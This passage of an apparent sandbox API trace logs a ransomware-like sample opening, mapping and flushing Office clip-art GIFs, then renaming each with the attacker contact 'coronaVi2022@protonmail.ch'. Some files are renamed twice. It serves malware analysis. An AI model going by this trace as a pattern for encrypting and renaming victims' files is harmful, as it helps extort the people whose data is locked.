	[0092.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c8
	[0092.120] GetFileSizeEx (in: hFile=0x8c8, lpFileSize=0x605ff5c | out: lpFileSize=0x605ff5c*=13515) returned 1
	[0092.120] CreateFileMappingA (hFile=0x8c8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x34d5, lpName=0x0) returned 0x964
	[0092.120] MapViewOfFile (hFileMappingObject=0x964, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2390000
	[0092.197] UnmapViewOfFile (lpBaseAddress=0x2390000) returned 1
	[0092.198] CloseHandle (hObject=0x964) returned 1
	[0092.198] GetCurrentThreadId () returned 0x168c
	[0092.198] FlushFileBuffers (hFile=0x8c8) returned 1
	[0092.315] CloseHandle (hObject=0x8c8) returned 1
	[0092.326] _swprintf (in: param_1=0x6059f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___BD10890_.gif") returned 97
	[0092.326] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___BD10890_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___bd10890_.gif")) returned 1
	[0092.375] free (_Block=0x2fde8c8) 
	[0092.375] RtlExitUserThread (Status=0x0) 

Thread:
	id = 386
	os_tid = 0x1690

	[0091.922] _alloca_probe () returned 0x40328a
	[0091.923] GetCurrentThreadId () returned 0x1690
	[0091.923] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.gif", dwFileAttributes=0x80) returned 1
	[0092.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x960
	[0092.119] GetFileSizeEx (in: hFile=0x960, lpFileSize=0x619ff5c | out: lpFileSize=0x619ff5c*=20189) returned 1
	[0092.120] CreateFileMappingA (hFile=0x960, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4ee9, lpName=0x0) returned 0x8b4
	[0092.120] MapViewOfFile (hFileMappingObject=0x8b4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2380000
	[0092.190] UnmapViewOfFile (lpBaseAddress=0x2380000) returned 1
	[0092.190] CloseHandle (hObject=0x8b4) returned 1
	[0092.190] GetCurrentThreadId () returned 0x1690
	[0092.190] FlushFileBuffers (hFile=0x960) returned 1
	[0092.313] CloseHandle (hObject=0x960) returned 1
	[0092.325] _swprintf (in: param_1=0x6199f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___BD10972_.gif") returned 97
	[0092.325] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___BD10972_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___bd10972_.gif")) returned 1
	[0092.371] free (_Block=0x2fe38f0) 
	[0092.371] RtlExitUserThread (Status=0x0) 

Thread:
	id = 387
	os_tid = 0x1694

	[0091.924] _alloca_probe () returned 0x40328a
	[0091.925] GetCurrentThreadId () returned 0x1694
	[0091.925] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.gif", dwFileAttributes=0x80) returned 1
	[0092.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x86c
	[0092.118] GetFileSizeEx (in: hFile=0x86c, lpFileSize=0x62dff5c | out: lpFileSize=0x62dff5c*=20454) returned 1
	[0092.118] CreateFileMappingA (hFile=0x86c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4feb, lpName=0x0) returned 0x860
	[0092.118] MapViewOfFile (hFileMappingObject=0x860, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2370000
	[0092.201] UnmapViewOfFile (lpBaseAddress=0x2370000) returned 1
	[0092.202] CloseHandle (hObject=0x860) returned 1
	[0092.202] GetCurrentThreadId () returned 0x1694
	[0092.202] FlushFileBuffers (hFile=0x86c) returned 1
	[0092.320] CloseHandle (hObject=0x86c) returned 1
	[0092.330] _swprintf (in: param_1=0x62d9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___BD19563_.gif") returned 97
	[0092.330] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___BD19563_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___bd19563_.gif")) returned 1
	[0092.378] free (_Block=0x2fe6908) 
	[0092.378] RtlExitUserThread (Status=0x0) 

Thread:
	id = 388
	os_tid = 0x1698

	[0091.926] _alloca_probe () returned 0x40328a
	[0091.927] GetCurrentThreadId () returned 0x1698
	[0091.927] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.gif", dwFileAttributes=0x80) returned 1
	[0092.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x848
	[0092.117] GetFileSizeEx (in: hFile=0x848, lpFileSize=0x641ff5c | out: lpFileSize=0x641ff5c*=15733) returned 1
	[0092.117] CreateFileMappingA (hFile=0x848, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3d79, lpName=0x0) returned 0x810
	[0092.118] MapViewOfFile (hFileMappingObject=0x810, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0092.194] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0092.194] CloseHandle (hObject=0x810) returned 1
	[0092.194] GetCurrentThreadId () returned 0x1698
	[0092.194] FlushFileBuffers (hFile=0x848) returned 1
	[0092.312] CloseHandle (hObject=0x848) returned 1
	[0092.324] _swprintf (in: param_1=0x6419f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___BD19582_.gif") returned 97
	[0092.324] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___BD19582_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___bd19582_.gif")) returned 1
	[0092.370] free (_Block=0x2fe7910) 
	[0092.370] RtlExitUserThread (Status=0x0) 

Thread:
	id = 391
	os_tid = 0x16a4

	[0092.388] _alloca_probe () returned 0x40328a
	[0092.388] GetCurrentThreadId () returned 0x16a4
	[0092.388] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00004_.gif", dwFileAttributes=0x80) returned 1
	[0092.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00004_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00004_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x940
	[0092.388] GetFileSizeEx (in: hFile=0x940, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=9024) returned 1
	[0092.389] CreateFileMappingA (hFile=0x940, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2340, lpName=0x0) returned 0x7fc
	[0092.389] MapViewOfFile (hFileMappingObject=0x7fc, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0092.391] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0092.391] CloseHandle (hObject=0x7fc) returned 1
	[0092.391] GetCurrentThreadId () returned 0x16a4
	[0092.391] FlushFileBuffers (hFile=0x940) returned 1
	[0092.397] CloseHandle (hObject=0x940) returned 1
	[0092.397] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00004_.gif") returned 126
	[0092.397] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00004_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00004_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00004_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00004_.gif")) returned 1
	[0092.398] free (_Block=0x51f4090) 
	[0092.398] RtlExitUserThread (Status=0x0) 

Thread:
	id = 392
	os_tid = 0x16a8

	[0092.458] _alloca_probe () returned 0x40328a
	[0092.458] GetCurrentThreadId () returned 0x16a8
	[0092.459] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00011_.gif", dwFileAttributes=0x80) returned 1
	[0092.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00011_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00011_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7fc
	[0092.459] GetFileSizeEx (in: hFile=0x7fc, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=7216) returned 1
	[0092.459] CreateFileMappingA (hFile=0x7fc, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1c30, lpName=0x0) returned 0x90c
	[0092.459] MapViewOfFile (hFileMappingObject=0x90c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0092.461] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0092.461] CloseHandle (hObject=0x90c) returned 1
	[0092.461] GetCurrentThreadId () returned 0x16a8
	[0092.461] FlushFileBuffers (hFile=0x7fc) returned 1
	[0092.465] CloseHandle (hObject=0x7fc) returned 1
	[0092.466] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00011_.gif") returned 126
	[0092.466] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00011_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00011_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00011_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00011_.gif")) returned 1
	[0092.466] free (_Block=0x51f1078) 
	[0092.466] RtlExitUserThread (Status=0x0) 

Thread:
	id = 393
	os_tid = 0x16ac

	[0092.468] _alloca_probe () returned 0x40328a
	[0092.469] GetCurrentThreadId () returned 0x16ac
	[0092.469] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00021_.gif", dwFileAttributes=0x80) returned 1
	[0092.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00021_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00021_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x90c
	[0092.469] GetFileSizeEx (in: hFile=0x90c, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=14881) returned 1
	[0092.469] CreateFileMappingA (hFile=0x90c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3a21, lpName=0x0) returned 0x814
	[0092.469] MapViewOfFile (hFileMappingObject=0x814, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0092.473] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0092.473] CloseHandle (hObject=0x814) returned 1
	[0092.473] GetCurrentThreadId () returned 0x16ac
	[0092.473] FlushFileBuffers (hFile=0x90c) returned 1
	[0092.475] CloseHandle (hObject=0x90c) returned 1
	[0092.475] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00021_.gif") returned 126
	[0092.475] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00021_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00021_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00021_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00021_.gif")) returned 1
	[0092.475] free (_Block=0x51f4090) 
	[0092.476] RtlExitUserThread (Status=0x0) 

Thread:
	id = 394
	os_tid = 0x16b0

	[0092.480] _alloca_probe () returned 0x40328a
	[0092.480] GetCurrentThreadId () returned 0x16b0
	[0092.480] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00037_.gif", dwFileAttributes=0x80) returned 1
	[0092.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00037_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00037_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x814
	[0092.481] GetFileSizeEx (in: hFile=0x814, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=6695) returned 1
	[0092.481] CreateFileMappingA (hFile=0x814, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1a2d, lpName=0x0) returned 0x924
	[0092.481] MapViewOfFile (hFileMappingObject=0x924, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0092.483] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0092.483] CloseHandle (hObject=0x924) returned 1
	[0092.483] GetCurrentThreadId () returned 0x16b0
	[0092.483] FlushFileBuffers (hFile=0x814) returned 1
	[0092.485] CloseHandle (hObject=0x814) returned 1
	[0092.485] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00037_.gif") returned 126
	[0092.485] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00037_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00037_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00037_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00037_.gif")) returned 1
	[0092.486] free (_Block=0x51f4090) 
	[0092.486] RtlExitUserThread (Status=0x0) 

Thread:
	id = 395
	os_tid = 0x16b4

	[0092.611] _alloca_probe () returned 0x40328a
	[0092.611] GetCurrentThreadId () returned 0x16b4
	[0092.611] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00038_.gif", dwFileAttributes=0x80) returned 1
	[0092.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00038_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00038_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x924
	[0092.612] GetFileSizeEx (in: hFile=0x924, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=3253) returned 1
	[0092.612] CreateFileMappingA (hFile=0x924, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xcb9, lpName=0x0) returned 0x854
	[0092.613] MapViewOfFile (hFileMappingObject=0x854, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0092.614] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0092.614] CloseHandle (hObject=0x854) returned 1
	[0092.614] GetCurrentThreadId () returned 0x16b4
	[0092.614] FlushFileBuffers (hFile=0x924) returned 1
	[0092.617] CloseHandle (hObject=0x924) returned 1
	[0092.617] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00038_.gif") returned 126
	[0092.617] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00038_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00038_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00038_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00038_.gif")) returned 1
	[0092.618] free (_Block=0x51f0070) 
	[0092.618] RtlExitUserThread (Status=0x0) 

Thread:
	id = 396
	os_tid = 0x16b8

	[0092.620] _alloca_probe () returned 0x40328a
	[0092.621] GetCurrentThreadId () returned 0x16b8
	[0092.621] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00040_.gif", dwFileAttributes=0x80) returned 1
	[0092.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00040_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00040_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x854
	[0092.621] GetFileSizeEx (in: hFile=0x854, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=8097) returned 1
	[0092.622] CreateFileMappingA (hFile=0x854, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1fa1, lpName=0x0) returned 0x750
	[0092.622] MapViewOfFile (hFileMappingObject=0x750, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0092.624] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0092.624] CloseHandle (hObject=0x750) returned 1
	[0092.624] GetCurrentThreadId () returned 0x16b8
	[0092.624] FlushFileBuffers (hFile=0x854) returned 1
	[0092.626] CloseHandle (hObject=0x854) returned 1
	[0092.626] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00040_.gif") returned 126
	[0092.626] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00040_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00040_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00040_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00040_.gif")) returned 1
	[0092.627] free (_Block=0x51f5098) 
	[0092.627] RtlExitUserThread (Status=0x0) 

Thread:
	id = 397
	os_tid = 0x16bc

	[0092.629] _alloca_probe () returned 0x40328a
	[0092.629] GetCurrentThreadId () returned 0x16bc
	[0092.629] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00052_.gif", dwFileAttributes=0x80) returned 1
	[0092.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00052_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00052_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x750
	[0092.630] GetFileSizeEx (in: hFile=0x750, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=7691) returned 1
	[0092.630] CreateFileMappingA (hFile=0x750, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1e15, lpName=0x0) returned 0x954
	[0092.630] MapViewOfFile (hFileMappingObject=0x954, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0092.632] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0092.632] CloseHandle (hObject=0x954) returned 1
	[0092.632] GetCurrentThreadId () returned 0x16bc
	[0092.632] FlushFileBuffers (hFile=0x750) returned 1
	[0092.634] CloseHandle (hObject=0x750) returned 1
	[0092.634] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00052_.gif") returned 126
	[0092.634] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00052_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00052_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00052_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00052_.gif")) returned 1
	[0092.635] free (_Block=0x51f4090) 
	[0092.635] RtlExitUserThread (Status=0x0) 

Thread:
	id = 398
	os_tid = 0x16c0

	[0092.637] _alloca_probe () returned 0x40328a
	[0092.637] GetCurrentThreadId () returned 0x16c0
	[0092.637] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00057_.gif", dwFileAttributes=0x80) returned 1
	[0092.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00057_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00057_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x954
	[0092.638] GetFileSizeEx (in: hFile=0x954, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=11893) returned 1
	[0092.638] CreateFileMappingA (hFile=0x954, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2e79, lpName=0x0) returned 0x758
	[0092.638] MapViewOfFile (hFileMappingObject=0x758, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0092.641] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0092.641] CloseHandle (hObject=0x758) returned 1
	[0092.641] GetCurrentThreadId () returned 0x16c0
	[0092.641] FlushFileBuffers (hFile=0x954) returned 1
	[0092.643] CloseHandle (hObject=0x954) returned 1
	[0092.643] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00057_.gif") returned 126
